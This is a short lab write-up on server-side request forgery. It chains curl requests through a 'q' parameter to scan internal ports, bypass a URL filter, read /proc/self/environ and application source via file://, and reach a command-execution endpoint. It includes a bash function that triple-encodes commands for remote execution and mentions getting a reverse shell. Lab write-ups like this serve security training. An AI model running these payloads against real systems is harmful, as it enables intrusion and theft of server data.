Yasmeena Rezk
4 min readNov 12, 2023

SSRF (LAB)

Description

Abuse server functionality to perform internal or external resource requests on behalf of the server by supplying or modifying URLs used by the target application to read or submit data.

Impact

  1. Interacting with known internal systems
  2. Discovering internal services via port scans
  3. Disclosing local/sensitive data
  4. Including files in the target application
  5. RCE

LAB: Obtain a reverse shell through a Python one-liner to get RCE

Exploitation

  1. Discovering Open Ports
nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>

2. Curl — Interacting with the Targe

curl -i -s -L http://<TARGET IP>
  • As we can see -> ubuntu-web.lalaguna.local & internal.app.local load resources via q parameter.

3. cURL — Interacting with the target ( internal.app.local )

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"

4. Let’s issue a request to a random port to identify how responses from closed ports look:

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:10"
  • We have received an unknown URL type error message -> the web application is being removed :// from our request.

5. Modify the URL -> adding more ://

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:10"
  • Well, the web application returns some HTML-rendered content containing the resource we are trying to fetch!

6. Let’s issue a cURL request to a random port to get the response size of a request for a non-existent service to be filtered later when fuzzing open ports.

curl -s -i "http://<TARGET IP>/load?q=http://127.0.0.1:10"

7. Use ffuf with the wordlist and discard the responses that have the size (30) we identified:

ffuf -w ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30

8. Interacting with the Target valid port (e.g. 5000)

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"

9. issue a request to disclose /proc/self/environ file, where the current path should be present under the PWD environment variable.

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -
  • Now we know that the current path is /app, Let's disclose the internal_local.py file.

10. Retrieving a local file internal_local.py via File Schema:

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"

We notice a functionality that allows us to execute commands on the remote host sending a GET request to/runme?x=<CMD>

11. Confirm RCE by sending whoami command:

curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"

💡Note: To execute commands with arguments or special characters, we need to encode them three times as we pass them through three different web applications (we can do this with jq in our terminal).

12. Create our RCE script:

rce() {
while true; do
echo -n "# "; read cmd
ecmd=$(echo -n "$cmd" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
curl -s -o - "http://<Target IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
echo ""
done
}

13. Call the rce function and execute commands:

Finally, we successfully obtained a reverse shell through a Python one-liner to get RCE.

Additional Resources

Thanks for Reading!

Yasmeena Rezk

We only must validate vulnerabilities, not validate our ego.